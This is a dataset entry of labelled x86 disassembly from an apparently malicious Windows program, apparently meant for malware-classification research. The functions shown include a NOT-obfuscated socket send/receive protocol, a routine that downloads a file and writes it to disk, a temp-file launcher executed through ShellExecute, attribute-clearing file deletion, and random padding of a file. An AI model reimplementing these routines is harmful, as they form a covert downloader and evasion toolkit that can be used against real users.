joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4034b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
xor eax, eax
push ebx
push esi
mov dword [ebp - 4], eax
cmp dword [ecx], eax
je 0x40352c
cmp edi, eax
jle 0x4034d6
mov ecx, dword [ebp + 0xc]
mov dl, byte [eax + ecx]
not dl
mov byte [eax + ecx], dl
inc eax
cmp eax, edi
jl 0x4034c6
lea ebx, [edi + 7]
push ebx
call fcn.0040a951
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x422fb0]
mov eax, dword [ebp + 0xc]
mov dword [esi + 2], ecx
mov dl, byte [0x422fb4]
push edi
push eax
lea ecx, [esi + 7]
push ecx
mov byte [esi + 6], dl
call fcn.0040e420
mov edx, dword [ebp + 8]
mov eax, dword [edx]
add esp, 0x10
push 0
push ebx
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40352f
cmp eax, ebx
jne 0x40352f
mov dword [ebp - 4], 1
jmp 0x40352f
mov esi, dword [ebp + 8]
test esi, esi
je 0x40353c
push esi
call fcn.0040b25b
add esp, 4
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4036b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8e0
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, edx
xor edx, edx
push 0x7fe
mov dword [ebp - 0x8d8], eax
push edx
lea eax, [ebp - 0x8ca]
push eax
mov dword [ebp - 0x8dc], edi
mov dword [ebp - 0x8e0], ecx
mov word [ebp - 0x8cc], dx
call fcn.00411f50
add esp, 0xc
lea ebx, [ebp - 0x8cc]
mov dword [ebp - 0x8d4], ebx
test esi, esi
je 0x403716
mov dword [ebp - 0x8d4], esi
mov ebx, esi
xor ecx, ecx
mov word [ebx], cx
mov esi, dword [edi]
xor eax, eax
mov dword [ebp - 0x8d0], eax
test esi, esi
je 0x40385b
cmp dword [ebp - 0x8d8], eax
je 0x40385b
push 0xc7
push eax
lea edx, [ebp - 0xcb]
push edx
mov byte [ebp - 0xcc], al
call fcn.00411f50
add esp, 0xc
push 0
push 2
lea eax, [ebp - 0xcc]
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4038a7
test eax, eax
je 0x4038a7
movzx edi, word [ebp - 0xcc]
lea ecx, [edi + 2]
push ecx
xor esi, esi
call fcn.0040a951
add esp, 4
mov ebx, eax
test edi, edi
jle 0x403848
mov ecx, dword [ebp - 0x8dc]
push 0
mov edx, edi
sub edx, esi
push edx
mov edx, dword [ecx]
lea eax, [esi + ebx]
push eax
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x403829
test eax, eax
je 0x403829
add esi, eax
cmp edi, esi
jg 0x403796
cmp esi, 5
jl 0x403848
mov ecx, dword [0x422fb0]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x40388c
mov dl, byte [ebx + 4]
cmp dl, byte [0x422fb4]
jne 0x40388c
test esi, esi
jle 0x4037fb
lea eax, [ebx + 5]
mov edi, esi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
dec edi
jne 0x4037f1
mov edi, dword [ebp - 0x8e0]
mov eax, dword [edi]
cmp eax, esi
jl 0x40386c
mov eax, dword [ebp - 0x8d8]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.0040e420
mov dword [edi], esi
add esp, 0xc
mov dword [ebp - 0x8d0], 1
jmp 0x403848
mov eax, dword [ebp - 0x8d4]
push 0x420560
push 0x3ff
push eax
call fcn.0040a83e
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test ebx, ebx
je 0x403855
push ebx
call fcn.0040b25b
add esp, 4
mov eax, dword [ebp - 0x8d0]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x8d8]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.0040e420
add esp, 0xc
mov dword [ebp - 0x8d0], 1
jmp 0x403848
mov eax, dword [ebp - 0x8d4]
push 0x420628
push 0x3ff
push eax
call fcn.0040a83e
add esp, 0xc
jmp 0x403848
push 0x4204c8
push 0x3ff
push ebx
call fcn.0040a83e
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x8d0]
add esp, 0xc
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
Function at 0x403af0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00413d80
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebx]
mov eax, dword [ebp + 8]
push edi
xor edi, edi
push edi
push 4
lea ecx, [ebp - 0x1008]
push ecx
push edx
mov dword [ebp - 0x100c], eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x403b3c
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1008], edi
jbe 0x403b8e
push esi
mov ecx, dword [ebx]
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
je 0x403b8d
mov edx, dword [ebp - 0x100c]
mov eax, dword [edx]
push eax
push esi
lea ecx, [ebp - 0x1004]
push 1
push ecx
call fcn.0040ac2d
add edi, esi
add esp, 0x10
mov dword [0x424640], edi
cmp edi, dword [ebp - 0x1008]
jb 0x403b45
pop esi
mov edx, dword [ebp - 0x100c]
mov eax, dword [edx]
push eax
call fcn.0040ad14
mov ecx, dword [ebp - 4]
add esp, 4
cmp edi, dword [ebp - 0x1008]
pop edi
sbb eax, eax
xor ecx, ebp
inc eax
call fcn.0040a82f
mov esp, ebp
pop ebp
ret

Function at 0x4040b0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x206
xor edi, edi
lea ecx, [ebp - 0x20a]
xor eax, eax
push edi
push ecx
mov word [ebp - 0x20c], ax
call fcn.00411f50
add esp, 0xc
mov dword [ebp - 0x210], edi
cmp esi, edi
je 0x4041a6
cmp dword [0x422f30], 3
jne 0x404128
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x420150
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0040b2c5
add esp, 0xc
jmp 0x40413a
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x420180
lea edx, [ebp - 0x20c]
push 0x104
push edx
call fcn.0040b2c5
push 0x420154
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x210]
push ecx
call fcn.0040aa8f
mov eax, dword [ebp - 0x210]
add esp, 0x18
cmp eax, edi
je 0x4041a6
push eax
push 1
push 0x200
push esi
call fcn.0040bc76
mov edx, dword [ebp - 0x210]
push edx
call fcn.0040ad14
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, edi
xor ecx, ebp
pop edi
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
Function at 0x4041c0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x206
xor edi, edi
lea ecx, [ebp - 0x20a]
xor eax, eax
push edi
push ecx
mov word [ebp - 0x20c], ax
call fcn.00411f50
add esp, 0xc
mov dword [ebp - 0x210], edi
cmp esi, edi
je 0x40427a
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x420164
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0040b2c5
push 0x42015c
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x210]
push edx
call fcn.0040aa8f
mov eax, dword [ebp - 0x210]
add esp, 0x18
cmp eax, edi
je 0x40427a
push eax
push 1
push 0x200
push esi
call fcn.0040bc76
mov eax, dword [ebp - 0x210]
push eax
call fcn.0040ad14
add esp, 0x14
lea eax, [edi + 1]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, edi
xor ecx, ebp
pop edi
call fcn.0040a82f
mov esp, ebp
pop ebp
ret

Function at 0x404340
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
test eax, eax
jne 0x40436a
xor eax, eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
cmp dword [eax], 0x504d534d
jne 0x40435a
push 0x200
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.0040bd10
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov cl, byte [ebp + eax - 0x414]
not cl
mov byte [ebp + eax - 0x414], cl
inc eax
cmp eax, 0x200
jb 0x404390
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x212]
push eax
mov word [ebp - 0x214], dx
call fcn.00411f50
add esp, 0xc
lea ecx, [ebp - 0x214]
push ecx
push 0x104
mov dword [ebp - 0x418], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42012c
lea edx, [ebp - 0x214]
push 0x104
push edx
call fcn.0040b2c5
push 0x420148
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x418]
push ecx
call fcn.0040aa8f
mov eax, dword [ebp - 0x418]
add esp, 0x18
test eax, eax
je 0x404440
push eax
push 1
lea edx, [ebp - 0x414]
push 0x200
push edx
call fcn.0040ac2d
mov eax, dword [ebp - 0x418]
push eax
call fcn.0040ad14
add esp, 0x14
mov ecx, dword [ebp - 8]
xor ecx, ebp
mov eax, 1
call fcn.0040a82f
mov esp, ebp
pop ebp
ret

Function at 0x404460
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
call edi
cmp eax, 0xffffffff
je 0x4044b3
push esi
call edi
cmp eax, 0xffffffff
je 0x4044ae
test al, 1
je 0x40447e
xor eax, 1
test al, 4
je 0x404485
xor eax, 4
test al, 2
je 0x40448c
xor eax, 2
test al, 0x20
je 0x404493
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x4044b3
or eax, 0xffffffff
pop edi
ret
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
pop edi
ret
Function at 0x4044d0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x108]
push eax
push 0x104
mov dword [ebp - 0x314], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x420c50
lea ecx, [ebp - 0x108]
push 0x104
push ecx
call fcn.0040c1eb
add esp, 0xc
push 0x104
lea edx, [ebp - 0x20c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x310]
push 0x104
push ecx
call fcn.0040b266
lea edx, [ebp - 0x310]
push 0x5c
push edx
call fcn.0040c1a0
add esp, 0x14
test eax, eax
je 0x40455c
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40465b
mov eax, 0x4234c0
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404590
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [ebp - 0x20c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4045a6
sub eax, edx
mov ecx, eax
lea eax, [ebp - 0x108]
lea esi, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4045c0
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.0040a951
push edi
mov esi, eax
push 0
push esi
call fcn.00411f50
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x310]
push ecx
lea edx, [ebp - 0x20c]
push edx
mov eax, edx
push eax
push 0x4234c0
push edi
push esi
call fcn.0040c1cd
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404610
push 0
sub eax, ecx
lea ecx, [ebp - 0x314]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [ebp - 0x108]
push edx
push 0x4200d8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x404659
push esi
call fcn.0040b25b
add esp, 4
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
Function at 0x406550
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
jne 0x406557
xor eax, eax
ret
push esi
not eax
cmp edx, 8
jb 0x40662d
mov esi, edx
shr esi, 3
push edi
lea esp, [esp]
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41eb50]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41eb50]
movzx edi, byte [ecx + 2]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41eb50]
movzx edi, byte [ecx + 3]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41eb50]
movzx edi, byte [ecx + 4]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41eb50]
movzx edi, byte [ecx + 5]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41eb50]
movzx edi, byte [ecx + 6]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41eb50]
movzx edi, byte [ecx + 7]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41eb50]
add ecx, 8
sub edx, 8
dec esi
jne 0x406570
pop edi
test edx, edx
je 0x40664a
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x41eb50]
inc ecx
dec edx
jne 0x406631
not eax
pop esi
ret

Function at 0x406650
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [edx]
movsx ecx, cl
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x41eb50]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x41eb50]
mov dword [edx + 8], ecx
ret

Function at 0x4066a0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esi + 8]
push ebx
mov edx, ecx
and edx, 0xfffd
or edx, 2
mov ebx, edx
xor ebx, 1
imul ebx, edx
mov edx, dword [esi]
shr ebx, 8
push edi
xor al, bl
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x41eb50]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x41eb50]
pop edi
mov dword [esi + 8], ecx
pop ebx
ret

Function at 0x406dc0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ebx
imul esi, dword [ebp + 0xc]
cmp byte [edi], 0
je 0x406df6
mov ecx, dword [ebp + 8]
mov edx, dword [edi + 4]
push 0
lea eax, [ebp + 0xc]
push eax
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x406dec
mov byte [edi + 8], 1
mov eax, dword [ebp + 0xc]
xor edx, edx
div ebx
pop esi
pop ebp
ret
mov ecx, dword [edi + 0x1c]
mov eax, dword [edi + 0x18]
lea edx, [ecx + esi]
cmp edx, eax
jbe 0x406e07
sub eax, ecx
mov esi, eax
mov eax, dword [edi + 0x14]
add eax, ecx
mov ecx, dword [ebp + 8]
push esi
push eax
push ecx
call fcn.0040e420
add dword [edi + 0x1c], esi
add esp, 0xc
mov eax, esi
xor edx, edx
div ebx
pop esi
pop ebp
ret
Function at 0x406e30
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp byte [esi], 0
push edi
mov edi, 1
je 0x406e63
mov edx, dword [esi + 4]
push 0
lea eax, [ebp - 8]
push eax
push edi
lea ecx, [ebp - 1]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x406e5e
mov byte [esi + 8], 1
mov edi, dword [ebp - 8]
jmp 0x406e8e
mov eax, dword [esi + 0x18]
push ebx
mov ebx, dword [esi + 0x1c]
lea ecx, [ebx + 1]
cmp ecx, eax
jbe 0x406e75
sub eax, ebx
mov edi, eax
mov edx, dword [esi + 0x14]
push edi
add edx, ebx
push edx
lea eax, [ebp - 1]
push eax
call fcn.0040e420
add esp, 0xc
add ebx, edi
mov dword [esi + 0x1c], ebx
pop ebx
cmp edi, 1
pop edi
jne 0x406ea3
movzx ecx, byte [ebp - 1]
mov edx, dword [ebp + 8]
mov dword [edx], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0
je 0x406e9d
cmp byte [esi + 8], 0
je 0x406e9d
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret
Function at 0x406f40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp byte [esi], 0
je 0x406f87
cmp byte [esi + 1], 0
je 0x406f8f
mov eax, dword [esi + 4]
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [esi], 0
push ebx
je 0x406fa2
cmp byte [esi + 1], 0
je 0x406f96
mov edx, dword [esi + 4]
push 1
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, eax
sub ebx, dword [esi + 0xc]
mov dword [ebp - 4], ebx
jmp 0x406faa
mov ecx, dword [esi + 0x18]
mov dword [esi + 0x1c], ecx
jmp 0x406f61
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0
mov ebx, dword [ebp - 4]
jmp 0x406faa
mov eax, dword [esi + 0x1c]
mov dword [ebp - 4], eax
mov ebx, eax
push edi
mov edi, 0xffff
mov dword [ebp - 8], edi
cmp ebx, edi
jae 0x406fbc
mov dword [ebp - 8], ebx
mov edi, ebx
push 0x404
call fcn.0040ad88
add esp, 4
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x406fd9
pop edi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 4
mov dword [ebp - 0x14], 0xffffffff
cmp edi, eax
jbe 0x4070ed
jmp 0x406ff9
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov ebx, dword [ebp - 4]
add eax, 0x400
mov dword [ebp - 0xc], edi
cmp eax, edi
ja 0x407008
mov dword [ebp - 0xc], eax
mov eax, ebx
sub eax, dword [ebp - 0xc]
sub ebx, eax
mov dword [ebp - 0x1c], eax
cmp ebx, 0x404
jbe 0x40701f
mov ebx, 0x404
cmp byte [esi], 0
je 0x407044
cmp byte [esi + 1], 0
je 0x4070ed
mov ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push 0
push 0
add ecx, eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x407047
mov dword [esi + 0x1c], eax
cmp byte [esi], 0
mov edi, ebx
je 0x407070
mov ecx, dword [ebp - 0x10]
mov edx, dword [esi + 4]
push 0
lea eax, [ebp - 0x18]
push eax
push ebx
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40706b
mov byte [esi + 8], 1
mov eax, dword [ebp - 0x18]
jmp 0x407099
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x18]
lea edx, [eax + ebx]
cmp edx, ecx
jbe 0x407081
sub ecx, eax
mov edi, ecx
mov ecx, dword [esi + 0x14]
mov edx, dword [ebp - 0x10]
push edi
add ecx, eax
push ecx
push edx
call fcn.0040e420
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div ebx
cmp eax, 1
jne 0x4070ed
lea eax, [ebx - 3]
test eax, eax
js 0x4070db
lea esp, [esp]
mov ecx, dword [ebp - 0x10]
dec eax
cmp byte [eax + ecx], 0x50
jne 0x4070cf
cmp byte [eax + ecx + 1], 0x4b
jne 0x4070cf
cmp byte [eax + ecx + 2], 5
jne 0x4070cf
cmp byte [eax + ecx + 3], 6
je 0x4070d5
test eax, eax
jns 0x4070b0
jmp 0x4070db
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4070ed
mov edx, dword [ebp - 8]
cmp dword [ebp - 0xc], edx
jb 0x406ff0
mov eax, dword [ebp - 0x10]
push eax
call fcn.0040ae1c
mov eax, dword [ebp - 0x14]
add esp, 4
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407fc0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [esi], 0
push edi
jne 0x40806f
cmp dword [esi + 4], 0xffffffff
jne 0x40806f
lea edi, [esi + 0x244]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, edi
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x407ff0
sub eax, edx
sar eax, 1
movzx eax, word [esi + eax*2 + 0x242]
cmp eax, 0x5c
je 0x408027
cmp eax, 0x2f
je 0x408027
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x408014
mov eax, dword [0x41efe8]
mov dword [edi], eax
push 0x20
call fcn.0040a951
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
add esp, 4
mov word [eax], 0x100
mov byte [eax + 0x10], 0
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], edx
mov dword [eax + 0x1c], 0
mov dword [eax + 0xc], 0
call fcn.00407110
mov dword [esi], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
add eax, 0x200
pop edi
pop ecx
pop ebp
ret 8
mov eax, 0x1000000
pop edi
pop ecx
pop ebp
ret 8
Function at 0x408a50
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x418
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x414], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x424c88
push 0x67
push esi
call edi
push 0x64
push 0x424bc0
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00408c40
mov eax, dword [ebp + 0x10]
mov edx, 0x425620
sub edx, eax
mov edi, edi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x408aa0
call fcn.00401720
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
mov dword [0x422f30], eax
call edi
call fcn.00409490
test eax, eax
je 0x408adc
call fcn.004044d0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
call fcn.00408cc0
add esp, 4
test eax, eax
jne 0x408aff
mov ecx, dword [esp + 0x41c]
pop edi
pop esi
xor ecx, esp
call fcn.0040a82f
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00411f50
mov eax, dword [0x425268]
add esp, 0xc
test eax, eax
je 0x408b48
cmp word [0x42526c], 0
jbe 0x408b48
push eax
mov esi, 0x422f1c
call fcn.004016b0
mov dx, word [0x42526c]
add esp, 4
mov word [0x422f2c], dx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push 0x41c270
mov edx, 0x424d58
call fcn.00404670
add esp, 8
call fcn.00409f70
push 0x104
lea edx, [esp + 0x214]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x210]
push 0x5c
push eax
call fcn.0040a8a1
lea edx, [esp + 0x218]
xor ecx, ecx
push edx
mov word [eax], cx
lea eax, [esp + 0x14]
push 0x104
push eax
call fcn.0040a83e
add esp, 0x14
push 0x41c288
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.0040b2c5
add esp, 0xc
push 0x424d58
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040b2c5
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x408c1d
push 0x1f4
call edi
push 1
push 0
push 0x41c28c
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call edi
call fcn.0040a430
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4093a0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x41c3d0
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 4], 0
call fcn.0040aa8f
add esp, 0xc
test eax, eax
je 0x4093c9
xor eax, eax
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push ebx
push esi
push edi
push 2
push 0
push edx
call fcn.0040b7b7
mov eax, dword [ebp - 4]
push eax
call fcn.0040b9c7
mov ecx, dword [ebp - 4]
push 0
push 0
push ecx
mov esi, eax
call fcn.0040b7b7
lea eax, [esi + 0x32]
push eax
mov dword [ebp - 8], eax
call fcn.0040ad88
mov edx, dword [ebp - 4]
push edx
push 1
mov ebx, eax
push esi
push ebx
call fcn.0040bc76
mov eax, dword [ebp - 4]
push eax
call fcn.0040ad14
push 0x32
lea edi, [ebx + esi]
push 0
push edi
call fcn.00411f50
add esp, 0x40
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040a8cf
add esp, 4
xor esi, esi
call fcn.0040a8e1
mov dword [edi + esi*4], eax
inc esi
cmp esi, 0xc
jl 0x409436
mov ecx, dword [ebp + 8]
push 0x41c3d8
push ecx
lea edx, [ebp - 4]
push edx
call fcn.0040aa8f
add esp, 0xc
test eax, eax
je 0x409466
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
push eax
push 1
push ecx
push ebx
call fcn.0040ac2d
mov edx, dword [ebp - 4]
push edx
call fcn.0040ad14
add esp, 0x14
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret